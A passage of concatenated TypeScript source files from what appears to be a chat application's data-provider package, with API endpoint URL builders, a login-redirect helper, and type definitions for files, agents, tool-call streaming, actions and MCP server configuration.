`${key}=${encodeURIComponent(v)}`).join('&');\n }\n return `${key}=${encodeURIComponent(String(value))}`;\n })\n .join('&');\n return query ? `?${query}` : '';\n};\n\nexport const health = () => `${BASE_URL}/health`;\nexport const user = () => `${BASE_URL}/api/user`;\n\nexport const balance = () => `${BASE_URL}/api/balance`;\n\nexport const userPlugins = () => `${BASE_URL}/api/user/plugins`;\n\nexport const deleteUser = () => `${BASE_URL}/api/user/delete`;\n\nconst messagesRoot = `${BASE_URL}/api/messages`;\n\nexport const messages = (params: q.MessagesListParams) => {\n const { conversationId, messageId, ...rest } = params;\n\n if (conversationId && messageId) {\n return `${messagesRoot}/${conversationId}/${messageId}`;\n }\n\n if (conversationId) {\n return `${messagesRoot}/${conversationId}`;\n }\n\n return `${messagesRoot}${buildQuery(rest)}`;\n};\n\nexport const messagesArtifacts = (messageId: string) => `${messagesRoot}/artifact/${messageId}`;\n\nexport const messagesBranch = () => `${messagesRoot}/branch`;\n\nconst shareRoot = `${BASE_URL}/api/share`;\nexport const shareMessages = (shareId: string) => `${shareRoot}/${shareId}`;\nexport const getSharedLink = (conversationId: string) => `${shareRoot}/link/${conversationId}`;\nexport const getSharedLinks = (\n pageSize: number,\n isPublic: boolean,\n sortBy: 'title' | 'createdAt',\n sortDirection: 'asc' | 'desc',\n search?: string,\n cursor?: string,\n) =>\n `${shareRoot}?pageSize=${pageSize}&isPublic=${isPublic}&sortBy=${sortBy}&sortDirection=${sortDirection}${\n search ? `&search=${search}` : ''\n }${cursor ? `&cursor=${cursor}` : ''}`;\nexport const createSharedLink = (conversationId: string) => `${shareRoot}/${conversationId}`;\nexport const updateSharedLink = (shareId: string) => `${shareRoot}/${shareId}`;\n\nconst keysEndpoint = `${BASE_URL}/api/keys`;\n\nexport const keys = () => keysEndpoint;\n\nexport const userKeyQuery = (name: string) => `${keysEndpoint}?name=${name}`;\n\nexport const revokeUserKey = (name: string) => `${keysEndpoint}/${name}`;\n\nexport const revokeAllUserKeys = () => `${keysEndpoint}?all=true`;\n\nconst apiKeysEndpoint = `${BASE_URL}/api/api-keys`;\n\nexport const apiKeys = () => apiKeysEndpoint;\n\nexport const apiKeyById = (id: string) => `${apiKeysEndpoint}/${id}`;\n\nexport const conversationsRoot = `${BASE_URL}/api/convos`;\n\nexport const conversations = (params: q.ConversationListParams) => {\n return `${conversationsRoot}${buildQuery(params)}`;\n};\n\nexport const conversationById = (id: string) => `${conversationsRoot}/${id}`;\n\nexport const genTitle = (conversationId: string) =>\n `${conversationsRoot}/gen_title/${encodeURIComponent(conversationId)}`;\n\nexport const updateConversation = () => `${conversationsRoot}/update`;\n\nexport const archiveConversation = () => `${conversationsRoot}/archive`;\n\nexport const deleteConversation = () => `${conversationsRoot}`;\n\nexport const deleteAllConversation = () => `${conversationsRoot}/all`;\n\nexport const importConversation = () => `${conversationsRoot}/import`;\n\nexport const forkConversation = () => `${conversationsRoot}/fork`;\n\nexport const duplicateConversation = () => `${conversationsRoot}/duplicate`;\n\nexport const search = (q: string, cursor?: string | null) =>\n `${BASE_URL}/api/search?q=${q}${cursor ? `&cursor=${cursor}` : ''}`;\n\nexport const searchEnabled = () => `${BASE_URL}/api/search/enable`;\n\nexport const presets = () => `${BASE_URL}/api/presets`;\n\nexport const deletePreset = () => `${BASE_URL}/api/presets/delete`;\n\nexport const aiEndpoints = () => `${BASE_URL}/api/endpoints`;\n\nexport const models = () => `${BASE_URL}/api/models`;\n\nexport const tokenizer = () => `${BASE_URL}/api/tokenizer`;\n\nexport const login = () => `${BASE_URL}/api/auth/login`;\n\nexport const logout = () => `${BASE_URL}/api/auth/logout`;\n\nexport const register = () => `${BASE_URL}/api/auth/register`;\n\nexport const loginFacebook = () => `${BASE_URL}/api/auth/facebook`;\n\nexport const loginGoogle = () => `${BASE_URL}/api/auth/google`;\n\nexport const refreshToken = (retry?: boolean) =>\n `${BASE_URL}/api/auth/refresh${retry === true ? '?retry=true' : ''}`;\n\nexport const requestPasswordReset = () => `${BASE_URL}/api/auth/requestPasswordReset`;\n\nexport const resetPassword = () => `${BASE_URL}/api/auth/resetPassword`;\n\nexport const verifyEmail = () => `${BASE_URL}/api/user/verify`;\n\n// Auth page URLs (for client-side navigation and redirects)\nexport const loginPage = () => `${BASE_URL}/login`;\nexport const registerPage = () => `${BASE_URL}/register`;\n\nconst REDIRECT_PARAM = 'redirect_to';\nconst LOGIN_PATH_RE = /(?:^|\\/)login(?:\\/|$)/;\n\n/**\n * Builds a `/login?redirect_to=...` URL from the given or current location.\n * Returns plain `/login` (no param) when already on a login route to prevent recursive nesting.\n */\nexport function buildLoginRedirectUrl(pathname?: string, search?: string, hash?: string): string {\n const p = pathname ?? window.location.pathname;\n if (LOGIN_PATH_RE.test(p)) {\n return '/login';\n }\n const s = search ?? window.location.search;\n const h = hash ?? window.location.hash;\n\n const stripped =\n BASE_URL && (p === BASE_URL || p.startsWith(BASE_URL + '/'))\n ? p.slice(BASE_URL.length) || '/'\n : p;\n const currentPath = `${stripped}${s}${h}`;\n if (!currentPath || currentPath === '/') {\n return '/login';\n }\n return `/login?${REDIRECT_PARAM}=${encodeURIComponent(currentPath)}`;\n}\n\nexport const resendVerificationEmail = () => `${BASE_URL}/api/user/verify/resend`;\n\nexport const plugins = () => `${BASE_URL}/api/plugins`;\n\nexport const mcpReinitialize = (serverName: string) =>\n `${BASE_URL}/api/mcp/${serverName}/reinitialize`;\nexport const mcpConnectionStatus = () => `${BASE_URL}/api/mcp/connection/status`;\nexport const mcpServerConnectionStatus = (serverName: string) =>\n `${BASE_URL}/api/mcp/connection/status/${serverName}`;\nexport const mcpAuthValues = (serverName: string) => {\n return `${BASE_URL}/api/mcp/${serverName}/auth-values`;\n};\n\nexport const cancelMCPOAuth = (serverName: string) => {\n return `${BASE_URL}/api/mcp/oauth/cancel/${serverName}`;\n};\n\nexport const mcpOAuthBind = (serverName: string) => `${BASE_URL}/api/mcp/${serverName}/oauth/bind`;\n\nexport const actionOAuthBind = (actionId: string) =>\n `${BASE_URL}/api/actions/${actionId}/oauth/bind`;\n\nexport const config = () => `${BASE_URL}/api/config`;\n\nexport const prompts = () => `${BASE_URL}/api/prompts`;\n\nexport const addPromptToGroup = (groupId: string) =>\n `${BASE_URL}/api/prompts/groups/${groupId}/prompts`;\n\nexport const assistants = ({\n path = '',\n options,\n version,\n endpoint,\n isAvatar,\n}: {\n path?: string;\n options?: object;\n endpoint?: AssistantsEndpoint;\n version: number | string;\n isAvatar?: boolean;\n}) => {\n let url = isAvatar === true ? `${images()}/assistants` : `${BASE_URL}/api/assistants/v${version}`;\n\n if (path && path !== '') {\n url += `/${path}`;\n }\n\n if (endpoint) {\n options = {\n ...(options ?? {}),\n endpoint,\n };\n }\n\n if (options && Object.keys(options).length > 0) {\n const queryParams = new URLSearchParams(options as Record<string, string>).toString();\n url += `?${queryParams}`;\n }\n\n return url;\n};\n\nexport const agents = ({ path = '', options }: { path?: string; options?: object }) => {\n let url = `${BASE_URL}/api/agents`;\n\n if (path && path !== '') {\n url += `/${path}`;\n }\n\n if (options && Object.keys(options).length > 0) {\n const queryParams = new URLSearchParams(options as Record<string, string>).toString();\n url += `?${queryParams}`;\n }\n\n return url;\n};\n\nexport const activeJobs = () => `${BASE_URL}/api/agents/chat/active`;\n\nexport const mcp = {\n tools: `${BASE_URL}/api/mcp/tools`,\n servers: `${BASE_URL}/api/mcp/servers`,\n};\n\nexport const mcpServer = (serverName: string) => `${BASE_URL}/api/mcp/servers/${serverName}`;\n\nexport const revertAgentVersion = (agent_id: string) => `${agents({ path: `${agent_id}/revert` })}`;\n\nexport const files = () => `${BASE_URL}/api/files`;\nexport const fileUpload = () => `${BASE_URL}/api/files`;\nexport const fileDelete = () => `${BASE_URL}/api/files`;\nexport const fileDownload = (userId: string, fileId: string) =>\n `${BASE_URL}/api/files/download/${userId}/${fileId}`;\nexport const fileConfig = () => `${BASE_URL}/api/files/config`;\nexport const agentFiles = (agentId: string) => `${BASE_URL}/api/files/agent/${agentId}`;\n\nexport const images = () => `${files()}/images`;\n\nexport const avatar = () => `${images()}/avatar`;\n\nexport const speech = () => `${files()}/speech`;\n\nexport const speechToText = () => `${speech()}/stt`;\n\nexport const textToSpeech = () => `${speech()}/tts`;\n\nexport const textToSpeechManual = () => `${textToSpeech()}/manual`;\n\nexport const textToSpeechVoices = () => `${textToSpeech()}/voices`;\n\nexport const getCustomConfigSpeech = () => `${speech()}/config/get`;\n\nexport const getPromptGroup = (_id: string) => `${prompts()}/groups/${_id}`;\n\nexport const getPromptGroupsWithFilters = (filter: object) => {\n let url = `${prompts()}/groups`;\n // Filter out undefined/null values\n const cleanedFilter = Object.entries(filter).reduce(\n (acc, [key, value]) => {\n if (value !== undefined && value !== null && value !== '') {\n acc[key] = value;\n }\n return acc;\n },\n {} as Record<string, string>,\n );\n\n if (Object.keys(cleanedFilter).length > 0) {\n const queryParams = new URLSearchParams(cleanedFilter).toString();\n url += `?${queryParams}`;\n }\n return url;\n};\n\nexport const getPromptsWithFilters = (filter: object) => {\n let url = prompts();\n if (Object.keys(filter).length > 0) {\n const queryParams = new URLSearchParams(filter as Record<string, string>).toString();\n url += `?${queryParams}`;\n }\n return url;\n};\n\nexport const getPrompt = (_id: string) => `${prompts()}/${_id}`;\n\nexport const getRandomPrompts = (limit: number, skip: number) =>\n `${prompts()}/random?limit=${limit}&skip=${skip}`;\n\nexport const postPrompt = prompts;\n\nexport const updatePromptGroup = getPromptGroup;\n\nexport const recordPromptGroupUsage = (groupId: string) => `${prompts()}/groups/${groupId}/use`;\n\nexport const updatePromptLabels = (_id: string) => `${getPrompt(_id)}/labels`;\n\nexport const updatePromptTag = (_id: string) => `${getPrompt(_id)}/tags/production`;\n\nexport const deletePromptGroup = getPromptGroup;\n\nexport const deletePrompt = ({ _id, groupId }: { _id: string; groupId: string }) => {\n return `${prompts()}/${_id}?groupId=${groupId}`;\n};\n\nexport const getCategories = () => `${BASE_URL}/api/categories`;\n\nexport const getAllPromptGroups = () => `${prompts()}/all`;\n\n/* Roles */\nexport const roles = () => `${BASE_URL}/api/roles`;\nexport const getRole = (roleName: string) => `${roles()}/${roleName.toLowerCase()}`;\nexport const updatePromptPermissions = (roleName: string) => `${getRole(roleName)}/prompts`;\nexport const updateMemoryPermissions = (roleName: string) => `${getRole(roleName)}/memories`;\nexport const updateAgentPermissions = (roleName: string) => `${getRole(roleName)}/agents`;\nexport const updatePeoplePickerPermissions = (roleName: string) =>\n `${getRole(roleName)}/people-picker`;\nexport const updateMCPServersPermissions = (roleName: string) => `${getRole(roleName)}/mcp-servers`;\nexport const updateRemoteAgentsPermissions = (roleName: string) =>\n `${getRole(roleName)}/remote-agents`;\n\nexport const updateMarketplacePermissions = (roleName: string) =>\n `${getRole(roleName)}/marketplace`;\n\n/* Conversation Tags */\nexport const conversationTags = (tag?: string) =>\n `${BASE_URL}/api/tags${tag != null && tag ? `/${encodeURIComponent(tag)}` : ''}`;\n\nexport const conversationTagsList = (pageNumber: string, sort?: string, order?: string) =>\n `${conversationTags()}/list?pageNumber=${pageNumber}${sort ? `&sort=${sort}` : ''}${\n order ? `&order=${order}` : ''\n }`;\n\nexport const addTagToConversation = (conversationId: string) =>\n `${conversationTags()}/convo/${conversationId}`;\n\nexport const userTerms = () => `${BASE_URL}/api/user/terms`;\nexport const acceptUserTerms = () => `${BASE_URL}/api/user/terms/accept`;\nexport const banner = () => `${BASE_URL}/api/banner`;\n\n// Message Feedback\nexport const feedback = (conversationId: string, messageId: string) =>\n `${BASE_URL}/api/messages/${conversationId}/${messageId}/feedback`;\n\n// Two-Factor Endpoints\nexport const enableTwoFactor = () => `${BASE_URL}/api/auth/2fa/enable`;\nexport const verifyTwoFactor = () => `${BASE_URL}/api/auth/2fa/verify`;\nexport const confirmTwoFactor = () => `${BASE_URL}/api/auth/2fa/confirm`;\nexport const disableTwoFactor = () => `${BASE_URL}/api/auth/2fa/disable`;\nexport const regenerateBackupCodes = () => `${BASE_URL}/api/auth/2fa/backup/regenerate`;\nexport const verifyTwoFactorTemp = () => `${BASE_URL}/api/auth/2fa/verify-temp`;\n\n/* Memories */\nexport const memories = () => `${BASE_URL}/api/memories`;\nexport const memory = (key: string) => `${memories()}/${encodeURIComponent(key)}`;\nexport const memoryPreferences = () => `${memories()}/preferences`;\n\nexport const searchPrincipals = (params: q.PrincipalSearchParams) => {\n const { q: query, limit, types } = params;\n let url = `${BASE_URL}/api/permissions/search-principals?q=${encodeURIComponent(query)}`;\n\n if (limit !== undefined) {\n url += `&limit=${limit}`;\n }\n\n if (types && types.length > 0) {\n url += `&types=${types.join(',')}`;\n }\n\n return url;\n};\n\nexport const getAccessRoles = (resourceType: ResourceType) =>\n `${BASE_URL}/api/permissions/${resourceType}/roles`;\n\nexport const getResourcePermissions = (resourceType: ResourceType, resourceId: string) =>\n `${BASE_URL}/api/permissions/${resourceType}/${resourceId}`;\n\nexport const updateResourcePermissions = (resourceType: ResourceType, resourceId: string) =>\n `${BASE_URL}/api/permissions/${resourceType}/${resourceId}`;\n\nexport const getEffectivePermissions = (resourceType: ResourceType, resourceId: string) =>\n `${BASE_URL}/api/permissions/${resourceType}/${resourceId}/effective`;\n\nexport const getAllEffectivePermissions = (resourceType: ResourceType) =>\n `${BASE_URL}/api/permissions/${resourceType}/effective/all`;\n\n// SharePoint Graph API Token\nexport const graphToken = (scopes: string) =>\n `${BASE_URL}/api/auth/graph-token?scopes=${encodeURIComponent(scopes)}`;\n","import { EToolResources } from './assistants';\n\nexport enum FileSources {\n local = 'local',\n firebase = 'firebase',\n azure = 'azure',\n azure_blob = 'azure_blob',\n openai = 'openai',\n s3 = 's3',\n vectordb = 'vectordb',\n execute_code = 'execute_code',\n mistral_ocr = 'mistral_ocr',\n azure_mistral_ocr = 'azure_mistral_ocr',\n vertexai_mistral_ocr = 'vertexai_mistral_ocr',\n text = 'text',\n document_parser = 'document_parser',\n}\n\nexport const checkOpenAIStorage = (source: string) =>\n source === FileSources.openai || source === FileSources.azure;\n\nexport enum FileContext {\n avatar = 'avatar',\n unknown = 'unknown',\n agents = 'agents',\n assistants = 'assistants',\n execute_code = 'execute_code',\n image_generation = 'image_generation',\n assistants_output = 'assistants_output',\n message_attachment = 'message_attachment',\n filename = 'filename',\n updatedAt = 'updatedAt',\n source = 'source',\n filterSource = 'filterSource',\n context = 'context',\n bytes = 'bytes',\n}\n\nexport type EndpointFileConfig = {\n disabled?: boolean;\n fileLimit?: number;\n fileSizeLimit?: number;\n totalSizeLimit?: number;\n supportedMimeTypes?: RegExp[];\n};\n\nexport type FileConfig = {\n endpoints: {\n [key: string]: EndpointFileConfig;\n };\n fileTokenLimit?: number;\n serverFileSizeLimit?: number;\n avatarSizeLimit?: number;\n clientImageResize?: {\n enabled?: boolean;\n maxWidth?: number;\n maxHeight?: number;\n quality?: number;\n };\n ocr?: {\n supportedMimeTypes?: RegExp[];\n };\n text?: {\n supportedMimeTypes?: RegExp[];\n };\n stt?: {\n supportedMimeTypes?: RegExp[];\n };\n checkType?: (fileType: string, supportedTypes: RegExp[]) => boolean;\n};\n\nexport type FileConfigInput = {\n endpoints?: {\n [key: string]: EndpointFileConfig;\n };\n serverFileSizeLimit?: number;\n avatarSizeLimit?: number;\n clientImageResize?: {\n enabled?: boolean;\n maxWidth?: number;\n maxHeight?: number;\n quality?: number;\n };\n ocr?: {\n supportedMimeTypes?: string[];\n };\n text?: {\n supportedMimeTypes?: string[];\n };\n stt?: {\n supportedMimeTypes?: string[];\n };\n checkType?: (fileType: string, supportedTypes: RegExp[]) => boolean;\n};\n\nexport type TFile = {\n _id?: string;\n __v?: number;\n user: string;\n conversationId?: string;\n message?: string;\n file_id: string;\n temp_file_id?: string;\n bytes: number;\n embedded: boolean;\n filename: string;\n filepath: string;\n object: 'file';\n type: string;\n usage: number;\n context?: FileContext;\n source?: FileSources;\n filterSource?: FileSources;\n width?: number;\n height?: number;\n expiresAt?: string | Date;\n preview?: string;\n metadata?: { fileIdentifier?: string };\n createdAt?: string | Date;\n updatedAt?: string | Date;\n};\n\nexport type TFileUpload = TFile & {\n temp_file_id: string;\n};\n\nexport type AvatarUploadResponse = {\n url: string;\n};\n\nexport type SpeechToTextResponse = {\n text: string;\n};\n\nexport type VoiceResponse = string[];\n\nexport type UploadMutationOptions = {\n onSuccess?: (data: TFileUpload, variables: FormData, context?: unknown) => void;\n onMutate?: (variables: FormData) => void | Promise<unknown>;\n onError?: (error: unknown, variables: FormData, context?: unknown) => void;\n};\n\nexport type UploadAvatarOptions = {\n onSuccess?: (data: AvatarUploadResponse, variables: FormData, context?: unknown) => void;\n onMutate?: (variables: FormData) => void | Promise<unknown>;\n onError?: (error: unknown, variables: FormData, context?: unknown) => void;\n};\n\nexport type SpeechToTextOptions = {\n onSuccess?: (data: SpeechToTextResponse, variables: FormData, context?: unknown) => void;\n onMutate?: (variables: FormData) => void | Promise<unknown>;\n onError?: (error: unknown, variables: FormData, context?: unknown) => void;\n};\n\nexport type TextToSpeechOptions = {\n onSuccess?: (data: ArrayBuffer, variables: FormData, context?: unknown) => void;\n onMutate?: (variables: FormData) => void | Promise<unknown>;\n onError?: (error: unknown, variables: FormData, context?: unknown) => void;\n};\n\nexport type VoiceOptions = {\n onSuccess?: (data: VoiceResponse, variables: unknown, context?: unknown) => void;\n onMutate?: () => void | Promise<unknown>;\n onError?: (error: unknown, variables: unknown, context?: unknown) => void;\n};\n\nexport type DeleteFilesResponse = {\n message: string;\n result: Record<string, unknown>;\n};\n\nexport type BatchFile = {\n file_id: string;\n filepath: string;\n embedded: boolean;\n source: FileSources;\n temp_file_id?: string;\n};\n\nexport type DeleteFilesBody = {\n files: BatchFile[];\n agent_id?: string;\n assistant_id?: string;\n tool_resource?: EToolResources;\n};\n\nexport type DeleteMutationOptions = {\n onSuccess?: (data: DeleteFilesResponse, variables: DeleteFilesBody, context?: unknown) => void;\n onMutate?: (variables: DeleteFilesBody) => void | Promise<unknown>;\n onError?: (error: unknown, variables: DeleteFilesBody, context?: unknown) => void;\n};\n","/* eslint-disable @typescript-eslint/no-namespace */\nimport { StepTypes, ContentTypes, ToolCallTypes } from './runs';\nimport type { FunctionToolCall, SummaryContentPart } from './assistants';\nimport type { TAttachment, TPlugin } from 'src/schemas';\n\nexport namespace Agents {\n export type MessageType = 'human' | 'ai' | 'generic' | 'system' | 'function' | 'tool' | 'remove';\n\n export type ImageDetail = 'auto' | 'low' | 'high';\n\n export type ReasoningContentText = {\n type: ContentTypes.THINK;\n think: string;\n };\n\n export type MessageContentText = {\n type: ContentTypes.TEXT;\n text: string;\n tool_call_ids?: string[];\n };\n\n export type AgentUpdate = {\n type: ContentTypes.AGENT_UPDATE;\n agent_update: {\n index: number;\n runId: string;\n agentId: string;\n };\n };\n\n export type MessageContentImageUrl = {\n type: ContentTypes.IMAGE_URL;\n image_url: string | { url: string; detail?: ImageDetail };\n };\n\n export type MessageContentVideoUrl = {\n type: ContentTypes.VIDEO_URL;\n video_url: { url: string };\n };\n\n export type MessageContentInputAudio = {\n type: ContentTypes.INPUT_AUDIO;\n input_audio: {\n data: string;\n format: string;\n };\n };\n\n export type MessageContentComplex =\n | ReasoningContentText\n | AgentUpdate\n | MessageContentText\n | MessageContentImageUrl\n | MessageContentVideoUrl\n | MessageContentInputAudio\n | SummaryContentPart\n | ToolCallContent\n // eslint-disable-next-line @typescript-eslint/no-explicit-any\n | (Record<string, any> & { type?: ContentTypes | string })\n // eslint-disable-next-line @typescript-eslint/no-explicit-any\n | (Record<string, any> & { type?: never });\n\n export type MessageContent = string | MessageContentComplex[];\n\n /**\n * A call to a tool.\n */\n export type ToolCall = {\n /** Type (\"tool_call\") according to Assistants Tool Call Structure */\n type: ToolCallTypes.TOOL_CALL;\n /** The name of the tool to be called */\n name: string;\n\n /** The arguments to the tool call */\n // eslint-disable-next-line @typescript-eslint/no-explicit-any\n args?: string | Record<string, any>;\n\n /** If provided, an identifier associated with the tool call */\n id?: string;\n /** If provided, the output of the tool call */\n output?: string;\n /** Auth URL */\n auth?: string;\n /** Expiration time */\n expires_at?: number;\n };\n\n export type ToolEndEvent = {\n /** The Step Id of the Tool Call */\n id: string;\n /** The Completed Tool Call */\n tool_call?: ToolCall;\n /** The content index of the tool call */\n index: number;\n };\n\n export type ToolCallContent = {\n type: ContentTypes.TOOL_CALL;\n tool_call?: ToolCall;\n };\n\n /**\n * A chunk of a tool call (e.g., as part of a stream).\n * When merging ToolCallChunks (e.g., via AIMessageChunk.__add__),\n * all string attributes are concatenated. Chunks are only merged if their\n * values of `index` are equal and not None.\n *\n * @example\n * ```ts\n * const leftChunks = [\n * {\n * name: \"foo\",\n * args: '{\"a\":',\n * index: 0\n * }\n * ];\n *\n * const leftAIMessageChunk = new AIMessageChunk({\n * content: \"\",\n * tool_call_chunks: leftChunks\n * });\n *\n * const rightChunks = [\n * {\n * name: undefined,\n * args: '1}',\n * index: 0\n * }\n * ];\n *\n * const rightAIMessageChunk = new AIMessageChunk({\n * content: \"\",\n * tool_call_chunks: rightChunks\n * });\n *\n * const result = leftAIMessageChunk.concat(rightAIMessageChunk);\n * // result.tool_call_chunks is equal to:\n * // [\n * // {\n * // name: \"foo\",\n * // args: '{\"a\":1}'\n * // index: 0\n * // }\n * // ]\n * ```\n *\n * @property {string} [name] - If provided, a substring of the name of the tool to be called\n * @property {string} [args] - If provided, a JSON substring of the arguments to the tool call\n * @property {string} [id] - If provided, a substring of an identifier for the tool call\n * @property {number} [index] - If provided, the index of the tool call in a sequence\n */\n export type ToolCallChunk = {\n name?: string;\n\n args?: string;\n\n id?: string;\n\n index?: number;\n\n type?: 'tool_call_chunk';\n };\n\n /** Event names are of the format: on_[runnable_type]_(start|stream|end).\n\n Runnable types are one of:\n\n llm - used by non chat models\n chat_model - used by chat models\n prompt -- e.g., ChatPromptTemplate\n tool -- LangChain tools\n chain - most Runnables are of this type\n Further, the events are categorized as one of:\n\n start - when the runnable starts\n stream - when the runnable is streaming\n end - when the runnable ends\n start, stream and end are associated with slightly different data payload.\n\n Please see the documentation for EventData for more details. */\n export type EventName = string;\n export type RunStep = {\n type: StepTypes;\n id: string; // #new\n runId?: string; // #new\n agentId?: string; // #new\n index: number; // #new\n stepIndex?: number; // #new\n /** Group ID for parallel content - parts with same groupId are displayed in columns */\n groupId?: number; // #new\n stepDetails: StepDetails;\n summary?: SummaryContentPart;\n usage: null | object;\n };\n\n /** Content part for aggregated message content */\n export interface ContentPart {\n type: string;\n text?: string;\n [key: string]: unknown;\n }\n\n /** User message metadata for rebuilding submission on reconnect */\n export interface UserMessageMeta {\n messageId: string;\n parentMessageId?: string;\n conversationId?: string;\n text?: string;\n }\n\n /** State data sent to reconnecting clients */\n export interface ResumeState {\n runSteps: RunStep[];\n /** Aggregated content parts - can be MessageContentComplex[] or ContentPart[] */\n aggregatedContent?: MessageContentComplex[];\n userMessage?: UserMessageMeta;\n responseMessageId?: string;\n conversationId?: string;\n sender?: string;\n }\n /**\n * Represents a run step delta i.e. any changed fields on a run step during\n * streaming.\n */\n export interface RunStepDeltaEvent {\n /**\n * The identifier of the run step, which can be referenced in API endpoints.\n */\n id: string;\n /**\n * The delta containing the fields that have changed on the run step.\n */\n delta: ToolCallDelta;\n }\n export type StepDetails = MessageCreationDetails | ToolCallsDetails;\n export type MessageCreationDetails = {\n type: StepTypes.MESSAGE_CREATION;\n message_creation: {\n message_id: string;\n };\n };\n export type ToolCallsDetails = {\n type: StepTypes.TOOL_CALLS;\n tool_calls: AgentToolCall[];\n };\n export type ToolCallDelta = {\n type: StepTypes.TOOL_CALLS | string;\n tool_calls?: ToolCallChunk[];\n auth?: string;\n expires_at?: number;\n };\n export type AgentToolCall = FunctionToolCall | ToolCall;\n export interface ExtendedMessageContent {\n type?: string;\n text?: string;\n input?: string;\n index?: number;\n id?: string;\n name?: string;\n }\n /**\n * Represents a message delta i.e. any changed fields on a message during\n * streaming.\n */\n export interface MessageDeltaEvent {\n /**\n * The identifier of the message, which can be referenced in API endpoints.\n */\n id: string;\n /**\n * The delta containing the fields that have changed on the Message.\n */\n delta: MessageDelta;\n }\n /**\n * The delta containing the fields that have changed on the Message.\n */\n export interface MessageDelta {\n /**\n * The content of the message in array of text and/or images.\n */\n content?: Agents.MessageContentComplex[];\n }\n\n /**\n * Represents a reasoning delta i.e. any changed fields on a message during\n * streaming.\n */\n export interface ReasoningDeltaEvent {\n /**\n * The identifier of the message, which can be referenced in API endpoints.\n */\n id: string;\n\n /**\n * The delta containing the fields that have changed.\n */\n delta: ReasoningDelta;\n }\n\n /**\n * The reasoning delta containing the fields that have changed on the Message.\n */\n export interface ReasoningDelta {\n /**\n * The content of the message in array of text and/or images.\n */\n content?: MessageContentComplex[];\n }\n\n export type ReasoningDeltaUpdate = { type: ContentTypes.THINK; think: string };\n export type ContentType =\n | ContentTypes.THINK\n | ContentTypes.TEXT\n | ContentTypes.IMAGE_URL\n | ContentTypes.VIDEO_URL\n | ContentTypes.INPUT_AUDIO\n | string;\n\n export interface SummarizeStartEvent {\n agentId: string;\n provider: string;\n model?: string;\n messagesToRefineCount: number;\n summaryVersion: number;\n }\n\n export interface SummarizeDeltaEvent {\n id: string;\n delta: {\n summary: SummaryContentPart;\n };\n }\n\n export interface SummarizeCompleteEvent {\n id: string;\n agentId: string;\n summary?: SummaryContentPart;\n error?: string;\n }\n}\n\nexport type ToolCallResult = {\n user: string;\n toolId: string;\n result?: unknown;\n messageId: string;\n partIndex?: number;\n blockIndex?: number;\n conversationId: string;\n attachments?: TAttachment[];\n};\n\nexport enum AuthTypeEnum {\n ServiceHttp = 'service_http',\n OAuth = 'oauth',\n None = 'none',\n}\n\nexport enum AuthorizationTypeEnum {\n Bearer = 'bearer',\n Basic = 'basic',\n Custom = 'custom',\n}\n\nexport enum TokenExchangeMethodEnum {\n DefaultPost = 'default_post',\n BasicAuthHeader = 'basic_auth_header',\n}\n\nexport type Action = {\n action_id: string;\n type?: string;\n settings?: Record<string, unknown>;\n metadata: ActionMetadata;\n version: number | string;\n} & ({ assistant_id: string; agent_id?: never } | { assistant_id?: never; agent_id: string });\n\nexport type ActionMetadata = {\n api_key?: string;\n auth?: ActionAuth;\n domain?: string;\n privacy_policy_url?: string;\n raw_spec?: string;\n oauth_client_id?: string;\n oauth_client_secret?: string;\n};\n\nexport type ActionAuth = {\n authorization_type?: AuthorizationTypeEnum;\n custom_auth_header?: string;\n type?: AuthTypeEnum;\n authorization_content_type?: string;\n authorization_url?: string;\n client_url?: string;\n scope?: string;\n token_exchange_method?: TokenExchangeMethodEnum;\n};\n\nexport type ActionMetadataRuntime = ActionMetadata & {\n oauth_access_token?: string;\n oauth_refresh_token?: string;\n oauth_token_expires_at?: Date;\n};\n\nexport type MCP = {\n serverName: string;\n metadata: MCPMetadata;\n} & ({ assistant_id: string; agent_id?: never } | { assistant_id?: never; agent_id?: string });\n\nexport type MCPMetadata = Omit<ActionMetadata, 'auth'> & {\n name?: string;\n description?: string;\n url?: string;\n tools?: string[];\n auth?: MCPAuth;\n icon?: string;\n trust?: boolean;\n};\n\nexport type MCPAuth = ActionAuth;\n\nexport type AgentToolType = {\n tool_id: string;\n metadata: ToolMetadata;\n} & ({ assistant_id: string; agent_id?: never } | { assistant_id?: never; agent_id?: string });\n\nexport type ToolMetadata = TPlugin;\n\nexport interface BaseMessage {\n content: string;\n role?: string;\n [key: string]: unknown;\n}\n\nexport interface BaseGraphState {\n [key: string]: unknown;\n}\n\nexport type GraphEdge = {\n /** Agent ID, use a list for multiple sources */\n from: string | string[];\n /** Agent ID, use a list for multiple destinations */\n to: string | string[];\n description?: string;\n /** Can return boolean or specific destination(s) */\n condition?: (state: BaseGraphState) => boolean | string | string[];\n /** 'handoff' creates tools for dynamic routing, 'direct' creates direct edges, which also allow parallel execution */\n edgeType?: 'handoff' | 'direct';\n /**\n * For direct edges: Optional prompt to add when transitioning through this edge.\n * String prompts can include variables like {results} which will be replaced with\n * messages from startIndex onwards. When {results} is used, excludeResults defaults to true.\n *\n * For handoff edges: Description for the input parameter that the handoff tool accepts,\n * allowing the supervisor to pass specific instructions/context to the transferred agent.\n */\n prompt?: string | ((messages: BaseMessage[], runStartIndex: number) => string | undefined);\n /**\n * When true, excludes messages from startIndex when adding prompt.\n * Automatically set to true when {results} variable is used in prompt.\n */\n excludeResults?: boolean;\n /**\n * For handoff edges: Customizes the parameter name for the handoff input.\n * Defaults to \"instructions\" if not specified.\n * Only applies when prompt is provided for handoff edges.\n */\n promptKey?: string;\n};\n","import { z } from 'zod';\nimport { TokenExchangeMethodEnum } from './types/agents';\nimport { extractEnvVariable } from './utils';\n\nconst BaseOptionsSchema = z.object({\n /** Display name for the MCP server - only letters, numbers, and spaces allowed */\n title: z\n .string()\n .regex(/^[a-zA-Z0-9 ]+$/, 'Title can only contain letters, numbers, and spaces')\n .optional(),\n /** Description of the MCP server */\n description: z.string().optional(),\n /**\n * Controls whether the MCP server is initialized during application startup.\n * - true (default): Server is initialized during app startup and included in app-level connections\n * - false: Skips initialization at startup and excludes from app-level connections - useful for servers\n * requiring manual authentication (e.g., GitHub PAT tokens) that need to be configured through the UI after startup\n */\n startup: z.boolean().optional(),\n iconPath: z.string().optional(),\n timeout: z.number().optional(),\n /** Timeout (ms) for the long-lived SSE GET stream body before undici aborts it. Default: 300_000 (5 min). */\n sseReadTimeout: z.number().positive().optional(),\n initTimeout: z.number().optional(),\n /** Controls visibility in chat dropdown menu (MCPSelect) */\n chatMenu: z.boolean().optional(),\n /**\n * Controls server instruction behavior:\n * - undefined/not set: No instructions included (default)\n * - true: Use server-provided instructions\n * - string: Use custom instructions (overrides server-provided)\n */\n serverInstructions: z.union([z.boolean(), 